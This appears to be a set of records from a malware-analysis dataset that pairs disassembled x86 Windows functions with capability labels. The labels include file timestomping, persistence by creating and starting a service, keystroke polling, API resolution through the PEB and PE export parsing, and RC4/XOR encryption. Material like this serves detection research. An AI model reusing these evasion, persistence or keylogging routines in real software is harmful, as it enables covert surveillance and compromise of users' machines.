joyce8/EMBER2024-capa huggingface dataset:
Function at 0x404a0c
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x51c
and dword [ebp - 4], 0
cmp dword [0x4938f0], 0
jne 0x404a47
push 4
push 0x410252
call fcn.00403472
lea ecx, [ebp - 4]
push ecx
push 0x40493e
push eax
push closesocket
call fcn.00404685
add esp, 0x18
jmp 0x404a83
lea eax, [ebp - 0x418]
push 2
push eax
call fcn.00403cd7
lea eax, [ebp - 0x418]
push eax
push 0x4934e0
call fcn.00407740
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x418]
push 0x4048aa
push eax
push closesocket
call fcn.00404703
add esp, 0x20
mov eax, dword [ebp - 4]
test eax, eax
mov dword [0x4938f4], eax
jne 0x404b64
push esi
lea eax, [ebp - 0x51c]
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
xor esi, esi
and byte [ebp - 0x18], 0
lea eax, [ebp - 0x18]
push str.I5_1
push eax
call fcn.00407740
pop ecx
lea eax, [ebp - 0x18]
pop ecx
push 4
push 4
push 2
push eax
call fcn.00407830
pop ecx
lea eax, [ebp + eax - 0x18]
push eax
call fcn.00403723
lea eax, [ebp - 0x17]
push eax
call fcn.0040c99c
lea eax, [ebp - 0x51c]
push eax
lea eax, [ebp - 0x418]
push eax
call fcn.00407740
lea eax, [ebp - 0x418]
push 0x40f044
push eax
call fcn.00407750
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x418]
push eax
call fcn.00407750
lea eax, [ebp - 0x418]
push 0x4101dc
push eax
call fcn.00407750
lea eax, [ebp - 0x418]
push eax
call fcn.00403e57
add esp, 0x38
test eax, eax
je 0x404b41
inc esi
cmp esi, 0xa
jl 0x404aa8
lea eax, [ebp - 0x18]
push eax
push 0x4933dc
call fcn.00407750
lea eax, [ebp - 0x418]
push eax
push 0x4935e4
call fcn.00407740
add esp, 0x10
pop esi
push 1
pop eax
leave
ret

Function at 0x404cb9
Capabilities:
Parse pe header

Disassembly:
push esi
mov esi, dword [esp + 0xc]
cmp esi, 0x44
jb 0x404cf4
mov ecx, dword [esp + 8]
cmp byte [ecx], 0x4d
jne 0x404cf4
cmp byte [ecx + 1], 0x5a
jne 0x404cf4
movzx eax, word [ecx + 0x3c]
add eax, ecx
add esi, 0xfffffffc
mov edx, eax
sub edx, ecx
cmp edx, esi
ja 0x404cf4
mov eax, dword [eax]
pop esi
sub eax, 0x4550
neg eax
sbb eax, eax
not eax
and eax, edx
ret
xor eax, eax
pop esi
ret
Function at 0x405516
Capabilities:
Timestomp file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push esi
xor esi, esi
push edi
push esi
push 0x20
push 3
push esi
push 1
push 0xc0000000
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, esi
je 0x4055ee
lea eax, [ebp - 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemTime]
push esi
call fcn.004047aa
push 0x3c
xor edx, edx
pop ecx
div ecx
push esi
mov word [ebp - 0xe], dx
call fcn.004047aa
pop ecx
xor edx, edx
pop ecx
push 0x18
pop ecx
div ecx
sub word [ebp - 0x10], dx
cmp word [ebp - 0x10], si
jg 0x40557c
add word [ebp - 0x10], cx
dec word [ebp - 0x12]
push esi
call fcn.004047aa
pop ecx
xor edx, edx
push 0x1c
pop ecx
div ecx
sub word [ebp - 0x12], dx
cmp word [ebp - 0x12], si
jg 0x4055a6
push esi
call fcn.004047aa
pop ecx
xor edx, edx
push 3
pop ecx
div ecx
mov word [ebp - 0x12], dx
push esi
call fcn.004047aa
pop ecx
xor edx, edx
push 0xc
pop ecx
div ecx
sub word [ebp - 0x16], dx
cmp word [ebp - 0x16], si
jg 0x4055c6
add word [ebp - 0x16], cx
dec word [ebp - 0x18]
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_SystemTimeToFileTime]
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 8]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_SetFileTime]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
leave
ret

Function at 0x4055f2
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x94
push ebx
push esi
push edi
push 1
pop ebx
push ebx
call fcn.004047aa
mov esi, 0x104
xor edi, edi
push esi
push edi
push 0x4937ec
call fcn.004076e0
push esi
push edi
push 0x4936e8
call fcn.004076e0
push esi
push edi
push 0x4935e4
call fcn.004076e0
push esi
push edi
push 0x4934e0
call fcn.004076e0
push esi
push edi
push 0x4933dc
call fcn.004076e0
add esp, 0x40
push 0x40f0d0
push 0x2266
push 0x40f0d4
call fcn.00403628
push 0x4938f8
call fcn.00402680
add esp, 0x10
call dword [sym.imp.KERNEL32.dll_GetVersion]
and eax, 0x80000000
mov dword [0x493900], edi
mov dword [0x4938f0], eax
lea eax, [ebp - 0x94]
push eax
mov dword [ebp - 0x94], 0x94
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
cmp dword [ebp - 0x90], 5
jne 0x4056b2
cmp dword [ebp - 0x8c], ebx
jne 0x4056b2
mov dword [0x493900], ebx
call fcn.00404a0c
mov esi, 0x7d000
push esi
call fcn.00407f7f
cmp eax, edi
pop ecx
mov dword [0x4933d8], eax
jne 0x4056d0
xor eax, eax
jmp 0x4056f4
push esi
push edi
push eax
call fcn.004076e0
call fcn.004057b2
push ebx
push str.A_o__r_G
call fcn.00403472
push eax
push edi
call fcn.0040543d
add esp, 0x1c
mov eax, ebx
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4057b2
Capabilities:
Link many functions at runtime

Disassembly:
push ebx
push ebp
push esi
push edi
push 2
push str.A7__t__a5
call fcn.00403472
mov ebx, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
pop ecx
pop ecx
push eax
call ebx
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ebp, eax
test ebp, ebp
mov edi, str.C__5
je 0x405817
push 1
push edi
call fcn.00403472
pop ecx
pop ecx
push eax
push ebp
call esi
push 4
push edi
mov dword [0x493908], eax
call fcn.00403472
pop ecx
pop ecx
push eax
push ebp
call esi
push 5
push edi
mov dword [0x493904], eax
call fcn.00403472
pop ecx
pop ecx
push eax
push ebp
call esi
mov dword [0x49390c], eax
push 3
push str.A7__t__a5
call fcn.00403472
pop ecx
pop ecx
push eax
call ebx
mov ebp, eax
test ebp, ebp
je 0x405841
push 3
push edi
call fcn.00403472
pop ecx
pop ecx
push eax
push ebp
call esi
mov dword [0x493910], eax
mov edi, str._t5_5__
push edi
call ebx
mov ebx, eax
test ebx, ebx
je 0x405862
push 1
push edi
call fcn.00403472
pop ecx
pop ecx
push eax
push ebx
call esi
mov dword [0x493914], eax
pop edi
pop esi
pop ebp
pop ebx
ret
Function at 0x405b03
Capabilities:
Accept command line arguments

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x428
push esi
lea ecx, [ebp - 0x18]
call fcn.0040174b
and dword [ebp - 4], 0
lea eax, [ebp - 8]
push 1
push eax
push dword [ebp + 8]
lea ecx, [ebp - 0x18]
call fcn.0040174e
mov esi, eax
test esi, esi
je 0x405bc7
lea eax, [ebp - 0x220]
push eax
lea eax, [ebp - 0x428]
push eax
lea eax, [ebp - 0x324]
push eax
lea eax, [ebp - 0x11c]
push eax
push dword [ebp + 8]
call fcn.004078ab
lea eax, [ebp - 0x324]
push eax
lea eax, [ebp - 0x11c]
push eax
call fcn.00407750
lea eax, [ebp - 0x428]
push eax
lea eax, [ebp - 0x11c]
push eax
call fcn.00407750
and byte [ebp - 0x21b], 0
lea eax, [ebp - 0x21f]
push eax
lea eax, [ebp - 0x11c]
push eax
call fcn.00407750
lea eax, [ebp - 0x11c]
push 0x4101dc
push eax
call fcn.00407750
lea eax, [ebp - 4]
push eax
push dword [ebp - 8]
push esi
call fcn.00407560
mov esi, eax
add esp, 0x40
test esi, esi
lea ecx, [ebp - 0x18]
jne 0x405bcb
call fcn.00401808
xor eax, eax
jmp 0x405c1f
call fcn.00401808
push dword [ebp - 4]
lea eax, [ebp - 0x11c]
push esi
push eax
call fcn.00403dba
push esi
call fcn.00407bdb
add esp, 0x10
xor esi, esi
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
push eax
lea eax, [ebp - 0x11c]
push eax
call fcn.004047d6
pop ecx
test eax, eax
pop ecx
je 0x405c1d
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
lea eax, [ebp - 0x11c]
push eax
call fcn.00403ef9
pop ecx
push 1
pop esi
mov eax, esi
pop esi
leave
ret

Function at 0x4060fa
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
and byte [ebp - 0x10c], 0
push ebx
lea eax, [ebp - 0x10c]
push 0x104
push eax
push 1
push str.yuaE
call fcn.00403472
pop ecx
pop ecx
push eax
push 0x410252
push closesocket
call fcn.004045e3
lea eax, [ebp - 0x10c]
push eax
call fcn.00405eba
movsx eax, byte [ebp - 0x10c]
mov bl, byte [ebp - 0x10a]
push eax
call fcn.00407abe
add esp, 0x1c
and dword [ebp - 8], 0
mov byte [ebp - 1], al
mov al, byte [ebp - 8]
add al, 0x61
cmp al, byte [ebp - 1]
je 0x4061a4
and byte [ebp - 0x10a], 0
mov byte [ebp - 0x10c], al
lea eax, [ebp - 0x10c]
push eax
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
cmp eax, 3
mov byte [ebp - 0x10a], bl
jne 0x4061a4
push dword [ebp + 8]
lea eax, [ebp - 0x10c]
push 0x4060a2
push eax
call fcn.00403f10
add esp, 0xc
inc dword [ebp - 8]
cmp dword [ebp - 8], 0x1a
jl 0x40615e
xor eax, eax
pop ebx
leave
ret 4
Function at 0x406df1
Capabilities:
Copy file
Create service
Persist via windows service
Set file attributes
Start service

Disassembly:
mov eax, 0x2384
call fcn.00407f50
push ebx
push ebp
push esi
push edi
lea eax, [esp + 0x14]
push 0x104
xor ebx, ebx
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov edi, dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov esi, 0x4935e4
push 0x20
push esi
call edi
push ebx
lea eax, [esp + 0x18]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push 0x20
push esi
mov dword [esp + 0x18], eax
call edi
cmp dword [esp + 0x10], ebx
je 0x406e94
push 0x227a
lea eax, [esp + 0x11c]
push 0x40f0c0
push eax
call fcn.00407bf0
lea eax, [esp + 0x124]
mov byte [esp + 0x1138], bl
push eax
push esi
call fcn.004056f9
push 0x15000
push esi
call fcn.00404fb9
push ebx
call fcn.004047aa
xor edx, edx
mov ecx, 0x2800
div ecx
add edx, 0x15200
push edx
push esi
call fcn.00404062
add esp, 0x28
push esi
call fcn.00405516
pop ecx
push 0x27
push esi
call edi
cmp dword [0x4938f0], ebx
mov edi, 0x4933dc
je 0x406ef2
push esi
push edi
push 0x4934e0
push closesocket
call fcn.0040463f
push 1
push str.A7__t__a5
call fcn.00403472
add esp, 0x18
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ebp, eax
push str.C__5
push ebp
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
cmp eax, ebx
je 0x406eeb
push 1
push ebx
call eax
push ebp
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
cmp dword [esp + 0x10], ebx
jne 0x406efc
xor eax, eax
jmp 0x406f71
cmp dword [0x4938f0], ebx
je 0x406f0f
push ebx
push esi
call fcn.004047d6
pop ecx
pop ecx
jmp 0x406f6e
cmp dword [0x4938f8], ebx
jne 0x406f6e
mov ebp, dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
push 2
push ebx
push ebx
call ebp
push ebx
push ebx
push ebx
push ebx
push ebx
push esi
push ebx
push 2
push 0x110
push ebx
push edi
push edi
push eax
mov dword [esp + 0x44], eax
call dword [sym.imp.ADVAPI32.dll_CreateServiceA]
push dword [esp + 0x10]
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call esi
push 1
push ebx
push ebx
call ebp
mov ebp, eax
push 0x10
push edi
push ebp
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov edi, eax
push ebx
push ebx
push edi
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
push edi
call esi
push ebp
call esi
push 1
pop eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x2384
ret
Function at 0x40917d
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
mov edi, dword [ebp + 8]
mov edi, dword [edi]
push edi
xor eax, eax
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
pop edi
mov esi, ecx
not esi
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov edx, dword [eax + 0xc]
lea eax, [eax + 0x10]
push dword [eax]
xor eax, eax
push edx
mov ecx, dword [edx + 0x30]
movzx ebx, byte [eax + edi]
movzx edx, byte [ecx + eax*2]
sub ebx, edx
cmp ebx, 0
je 0x4091c4
cmp ebx, 0x20
je 0x4091c4
cmp ebx, 0xffffffe0
je 0x4091c4
jne 0x4091cd
add eax, 1
cmp esi, eax
je 0x4091da
jne 0x4091a9
pop edx
mov edx, dword [edx]
xor eax, eax
pop ebx
cmp ebx, edx
push ebx
je 0x4091de
jne 0x4091a5
pop edx
mov eax, dword [edx + 0x18]
leave
ret 4

Function at 0x4091f2
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
mov ebx, dword [ebp + 8]
cmp ebx, 0
je 0x409237
mov eax, dword [ebx + 0x3c]
add eax, ebx
mov edx, dword [eax + 0x78]
add edx, ebx
mov ecx, dword [edx + 0x18]
mov eax, dword [edx + 0x20]
push ecx
push ecx
push eax
xor eax, eax
or ecx, 0xffffffff
mov edi, dword [ebp + 0xc]
mov edi, dword [edi]
repne scasb al, byte es:[edi]
not ecx
pop eax
push ecx
mov edi, dword [ebp + 0xc]
mov edi, dword [edi]
mov esi, dword [eax + ebx]
add esi, ebx
repe cmpsb byte [esi], byte es:[edi]
pop ecx
je 0x40923d
add eax, 4
pop esi
dec esi
push esi
jne 0x40921f
xor eax, eax
leave
ret 8
pop esi
pop ecx
sub ecx, esi
mov eax, dword [edx + 0x24]
lea eax, [eax + ecx*2]
movzx eax, word [eax + ebx]
mov ecx, dword [edx + 0x1c]
lea eax, [ecx + eax*4]
mov eax, dword [eax + ebx]
add eax, ebx
leave
ret 8
Function at 0x409338
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
mov dword [ebp - 4], 0
mov dword [ebp - 8], esp
mov ebx, dword [ebp + 8]
push dword [ebx]
mov eax, 0x17
call fcn.0040f1c9
cmp dword [ebp - 8], esp
je 0x409376
push 0x19
push 0x4062b2c
push 6
call fcn.0040f1c3
add esp, 0xc
mov ebx, dword [ebp + 0xc]
mov dword [ebx], eax
mov ebx, dword [ebp + 0xc]
cmp dword [ebx], 0
jne 0x409391
mov eax, 0
jmp 0x409464
mov ebx, dword [ebp + 0xc]
push dword [ebx]
call fcn.0040946a
mov dword [ebp - 0xc], eax
cmp word [ebp - 0xc], 0x5a4d
je 0x4093b4
mov eax, 0
jmp 0x409464
mov ebx, dword [ebp + 0xc]
fild dword [ebx]
fstp qword [ebp - 0xc]
fld qword [ebp - 0xc]
fadd qword [0x6c806b]
fstp qword [ebp - 0x14]
fld qword [ebp - 0x14]
call fcn.004014e7
push eax
call fcn.00409564
mov dword [ebp - 0x20], eax
fild dword [ebp - 0x20]
fstp qword [ebp - 0x20]
fld qword [ebp - 0x20]
mov ebx, dword [ebp + 0xc]
fild dword [ebx]
fstp qword [ebp - 0x28]
fadd qword [ebp - 0x28]
fstp qword [ebp - 0x30]
fld qword [ebp - 0x30]
call fcn.004014e7
mov dword [ebp - 4], eax
push dword [ebp - 4]
call fcn.00409564
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0x4550
je 0x40941d
mov eax, 0
jmp 0x409464
fild dword [ebp - 4]
fstp qword [ebp - 0xc]
fld qword [ebp - 0xc]
fadd qword [0x6c8073]
fstp qword [ebp - 0x14]
fld qword [ebp - 0x14]
call fcn.004014e7
push eax
call fcn.00409564
mov dword [ebp - 0x20], eax
fild dword [ebp - 0x20]
fstp qword [ebp - 0x20]
fld qword [ebp - 0x20]
mov ebx, dword [ebp + 0xc]
fild dword [ebx]
fstp qword [ebp - 0x28]
fadd qword [ebp - 0x28]
fstp qword [ebp - 0x30]
fld qword [ebp - 0x30]
call fcn.004014e7
jmp 0x409464
mov esp, ebp
pop ebp
ret 8
Function at 0x417710
Capabilities:
Enumerate files on windows

Disassembly:
push 0xffffffffffffffff
push 0x6b124b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x180
push ebx
push ebp
mov ebp, ecx
lea ecx, [esp + 8]
lea eax, [ebp + 0x40]
push eax
call fcn.006a6027
mov ecx, dword [esp + 8]
mov dword [esp + 0x190], 0
mov eax, dword [ecx - 8]
test eax, eax
je 0x417792
lea edx, [esp + 0x10]
push 1
push edx
lea ecx, [esp + 0x10]
call fcn.006a3f77
mov eax, dword [eax]
push 0x733210
push eax
call fcn.00696c34
add esp, 8
lea ecx, [esp + 0x10]
test eax, eax
setne bl
call fcn.006a62b2
test bl, bl
je 0x417792
push 0x733210
lea ecx, [esp + 0xc]
call fcn.006a6642
push 0x736d64
lea ecx, [esp + 0xc]
call fcn.006a6642
mov ecx, dword [esp + 8]
lea eax, [esp + 0x48]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [esp + 0xc], eax
jne 0x4177ce
lea ecx, [esp + 8]
mov dword [esp + 0x190], eax
call fcn.006a62b2
jmp 0x417899
push esi
mov esi, dword [esp + 0x19c]
push edi
mov edi, dword [sym.imp.USER32.dll_SendMessageA_1]
mov ebx, 0x23
test byte [esp + 0x50], 0x10
je 0x417852
lea edx, [esp + 0x7c]
push 0x736d60
push edx
call fcn.00696c34
add esp, 8
test eax, eax
je 0x417852
lea eax, [esp + 0x7c]
push 0x736d5c
push eax
call fcn.00696c34
add esp, 8
test eax, eax
je 0x417852
mov eax, dword [ebp + 0x1c]
lea edx, [esp + 0x1c]
push edx
push 0
lea ecx, [esp + 0x84]
push 0x1100
push eax
mov dword [esp + 0x2c], esi
mov dword [esp + 0x30], 0xffff0003
mov dword [esp + 0x4c], 0
mov dword [esp + 0x50], 1
mov dword [esp + 0x44], ecx
mov dword [esp + 0x34], ebx
call edi
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x50]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x4177e2
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [ebp + 0x1c]
push esi
push 2
push 0x1102
push ecx
call edi
lea ecx, [esp + 0x10]
mov dword [esp + 0x198], 0xffffffff
call fcn.006a62b2
pop edi
pop esi
mov ecx, dword [esp + 0x188]
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x18c
ret 4

Function at 0x418090
Capabilities:
Query or enumerate registry value

Disassembly:
mov ecx, dword [esp + 8]
mov edx, dword [esp + 4]
sub esp, 0x10c
lea eax, [esp]
push esi
push eax
push 1
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov esi, eax
test esi, esi
jne 0x4180f2
mov edx, dword [esp + 4]
lea eax, [esp + 8]
lea ecx, [esp + 0xc]
push eax
push ecx
push esi
push edx
mov dword [esp + 0x18], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
mov ecx, dword [esp + 0x11c]
lea eax, [esp + 0xc]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edx, dword [esp + 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
add esp, 0x10c
ret 0xc
Function at 0x418100
Capabilities:
Create process on windows

Disassembly:
push 0xffffffffffffffff
push 0x6b12cb
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x20c
mov eax, dword [0x78d0f0]
push esi
push edi
mov edi, ecx
mov dword [esp + 8], eax
mov eax, dword [edi + 0x44]
mov dword [esp + 0x21c], 0
test eax, eax
jne 0x418238
mov ecx, dword [edi + 0x48]
lea esi, [edi + 0x48]
mov eax, dword [ecx - 8]
test eax, eax
jne 0x418166
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.006a62b2
xor eax, eax
jmp 0x4182af
push str.mailto:
lea ecx, [esp + 0xc]
call fcn.006a63ef
push esi
lea ecx, [esp + 0xc]
call fcn.006a667e
mov ecx, dword [esp + 8]
push ebx
push ebp
mov ebp, dword [esp + 0x22c]
push ebp
push 0
push 0
push ecx
push 0x736d9c
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA_1]
mov esi, eax
cmp esi, 0x20
ja 0x41828d
lea edx, [esp + 0x14]
mov ecx, edi
push edx
push str..htm
push SysReAllocString
call fcn.00418090
test eax, eax
jne 0x41828d
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [esp + 0x14]
push str._shellopencommand
push eax
call ebx
lea ecx, [esp + 0x14]
lea edx, [esp + 0x14]
push ecx
push edx
push SysReAllocString
mov ecx, edi
call fcn.00418090
test eax, eax
jne 0x41828d
lea eax, [esp + 0x14]
push str.__1_
push eax
call fcn.00697dc0
mov esi, eax
add esp, 8
test esi, esi
jne 0x41826c
lea ecx, [esp + 0x14]
push 0x736d74
push ecx
call fcn.00697d40
mov esi, eax
add esp, 8
test esi, esi
jne 0x41826c
lea edx, [esp + 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea esi, [esp + eax + 0x13]
jmp 0x41826f
lea edx, [edi + 0x4c]
lea ecx, [esp + 8]
push edx
call fcn.006a639f
mov eax, dword [esp + 8]
mov ecx, dword [eax - 8]
test ecx, ecx
jne 0x41817e
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.006a62b2
xor eax, eax
jmp 0x4182af
mov byte [esi], 0
push 0x736d70
push esi
call ebx
mov eax, dword [esp + 0x10]
push eax
push esi
call ebx
lea ecx, [esp + 0x14]
push ebp
push ecx
call dword [sym.imp.KERNEL32.dll_WinExec]
mov esi, eax
xor edx, edx
cmp esi, 0x20
setg dl
lea ecx, [esp + 0x10]
mov esi, edx
mov dword [esp + 0x224], 0xffffffff
call fcn.006a62b2
pop ebp
mov eax, esi
pop ebx
mov ecx, dword [esp + 0x214]
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x218
ret 4
Function at 0x4288d0
Capabilities:
Log keystrokes via polling

Disassembly:
mov eax, dword [esp + 4]
push esi
push edi
mov edi, dword [sym.imp.USER32.dll_GetKeyState]
mov cl, byte [eax + 8]
and ecx, 0xff
mov esi, ecx
cmp si, 0x60
jb 0x42893e
cmp si, 0x69
ja 0x42893e
add esi, 0xffd0
cmp si, 0x11
je 0x42890e
push 0x11
call edi
test ax, ax
jge 0x42890e
or esi, 0x2000
cmp si, 0x10
je 0x428923
push 0x10
call edi
test ax, ax
jge 0x428923
or esi, 0x4000
cmp si, 0x12
je 0x428938
push 0x12
call edi
test ax, ax
jge 0x428938
or esi, 0x8000
mov ax, si
pop edi
pop esi
ret
cmp si, 0x6d
jne 0x42894b
mov esi, 0xbd
jmp 0x4288ff
cmp si, 0x6e
jne 0x428958
mov esi, 0xbe
jmp 0x4288ff
cmp si, 0x6f
jne 0x4288f9
mov esi, 0xbf
jmp 0x4288ff

Function at 0x42a1e0
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ecx
mov eax, dword [0x79d8a8]
xor edx, edx
cmp eax, edx
jne 0x42a206
xor eax, eax
mov byte [eax + 0x79d7a8], al
inc eax
cmp eax, 0x100
jl 0x42a1ee
mov dword [0x79d8a8], 1
mov eax, dword [esp + 0xc]
push ebx
mov ebx, dword [esp + 0x14]
push esi
push edi
mov ecx, 0x40
mov esi, 0x79d7a8
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
cmp eax, edx
mov byte [ebx + 0x100], dl
mov byte [ebx + 0x101], dl
jle 0x42a297
xor esi, esi
push ebp
mov byte [esp + 0x20], dl
xor ecx, ecx
mov edi, dword [esp + 0x20]
mov ebp, dword [esp + 0x18]
mov al, byte [esi + ebx]
and edi, 0xff
xor edx, edx
mov dl, byte [edi + ebp]
mov ebp, eax
and ebp, 0xff
add ecx, edx
add ecx, ebp
and ecx, 0x800000ff
jns 0x42a26a
dec ecx
or ecx, 0xffffff00
inc ecx
mov byte [esp + 0x10], cl
mov ecx, dword [esp + 0x10]
and ecx, 0xff
mov dl, byte [ecx + ebx]
mov byte [esi + ebx], dl
mov byte [ecx + ebx], al
lea eax, [edi + 1]
cdq
idiv dword [esp + 0x1c]
inc esi
cmp esi, 0x100
mov byte [esp + 0x20], dl
jl 0x42a238
pop ebp
pop edi
pop esi
pop ebx
pop ecx
ret

Function at 0x42a310
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 0x10]
push ebx
push esi
push edi
mov cl, byte [eax + 0x100]
mov dl, byte [eax + 0x101]
mov dword [ebp - 8], eax
mov byte [ebp - 1], cl
mov byte [ebp - 2], dl
xor ebx, ebx
mov bl, byte [ebp - 1]
xor edx, edx
mov dl, byte [ebp - 2]
mov esi, dword [ebp - 8]
mov edi, dword [ebp + 8]
xor eax, eax
mov ecx, dword [ebp + 0xc]
test ecx, ecx
jle 0x42a363
inc bl
mov al, byte [esi + ebx]
add dl, al
xchg byte [esi + edx], al
mov byte [esi + ebx], al
add al, byte [esi + edx]
mov al, byte [esi + eax]
xor byte [edi], al
inc edi
dec ecx
jne 0x42a34a
mov byte [ebp - 1], bl
mov byte [ebp - 2], dl
mov eax, dword [ebp + 0x10]
mov cl, byte [ebp - 1]
mov dl, byte [ebp - 2]
pop edi
pop esi
mov byte [eax + 0x100], cl
mov byte [eax + 0x101], dl
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4310f0
Capabilities:
Enumerate pe sections

Disassembly:
sub esp, 0x18
mov eax, dword [esp + 0x1c]
push ebx
push ebp
push esi
xor esi, esi
xor ecx, ecx
mov si, word [eax + 8]
mov cx, word [eax + 4]
xor ebp, ebp
xor edx, edx
mov bp, word [eax + 0xa]
mov dx, word [eax + 6]
sub esi, ecx
sub ebp, edx
inc esi
xor ebx, ebx
inc ebp
cmp esi, ebx
mov dword [esp + 0x14], esi
jle 0x431288
cmp ebp, ebx
jle 0x431288
mov eax, esi
push edi
cdq
and edx, 7
add eax, edx
mov edi, eax
mov eax, esi
sar edi, 3
and eax, 0x80000007
mov dword [esp + 0x10], edi
jns 0x43114e
dec eax
or eax, 0xfffffff8
inc eax
je 0x431155
inc edi
mov dword [esp + 0x10], edi
mov ecx, edi
and ecx, reloc.WS2_32.dll_accept
jns 0x431164
dec ecx
or ecx, 0xfffffffe
inc ecx
je 0x43116b
inc edi
mov dword [esp + 0x10], edi
push 0x18
call fcn.006a5ff3
add esp, 4
cmp eax, ebx
je 0x43118c
mov dword [eax], ebx
mov dword [eax + 4], ebx
mov dword [eax + 8], ebx
mov dword [eax + 0xc], ebx
mov dword [eax + 0x10], ebx
mov dword [eax + 0x14], ebx
mov ebx, eax
mov eax, edi
mov dword [esp + 0x14], ebx
imul eax, ebp
push eax
mov dword [ebx], 7
mov dword [ebx + 4], esi
mov dword [ebx + 8], ebp
mov dword [ebx + 0x14], eax
call fcn.006a5ff3
mov ecx, dword [ebx + 0x14]
mov edi, eax
mov edx, ecx
xor eax, eax
shr ecx, 2
mov dword [ebx + 0x10], edi
add esp, 4
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
mov eax, dword [esp + 0x2c]
test ebp, ebp
lea edx, [eax + 0x80]
jle 0x43127e
xor eax, eax
mov dword [esp + 0x20], ebp
mov dword [esp + 0x1c], eax
mov ebp, dword [ebx + 0x10]
xor ecx, ecx
add ebp, eax
mov dword [esp + 0x2c], ecx
test esi, esi
jle 0x431265
mov al, byte [edx]
cmp al, 0xc0
jbe 0x431251
and eax, 0xff
sub eax, 0xc0
inc edx
mov esi, eax
mov dword [esp + 0x24], edx
cmp esi, 1
jle 0x431246
xor eax, eax
mov ecx, esi
mov al, byte [edx]
mov edx, ecx
mov bl, al
mov edi, ebp
mov bh, bl
dec esi
mov eax, ebx
shl eax, 0x10
mov ax, bx
mov ebx, dword [esp + 0x14]
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
mov edx, dword [esp + 0x24]
and ecx, 3
add ebp, esi
rep stosb byte es:[edi], al
mov eax, dword [esp + 0x2c]
lea ecx, [eax + esi*8]
mov esi, dword [esp + 0x18]
jmp 0x431254
mov al, byte [edx]
mov esi, dword [esp + 0x18]
mov byte [ebp], al
jmp 0x431254
mov byte [ebp], al
inc ebp
add ecx, 8
inc edx
cmp ecx, esi
mov dword [esp + 0x2c], ecx
jl 0x4311f0
mov eax, dword [esp + 0x1c]
mov edi, dword [esp + 0x10]
mov ecx, dword [esp + 0x20]
add eax, edi
dec ecx
mov dword [esp + 0x1c], eax
mov dword [esp + 0x20], ecx
jne 0x4311e1
pop edi
pop esi
mov eax, ebx
pop ebp
pop ebx
add esp, 0x18
ret
pop esi
pop ebp
xor eax, eax
pop ebx
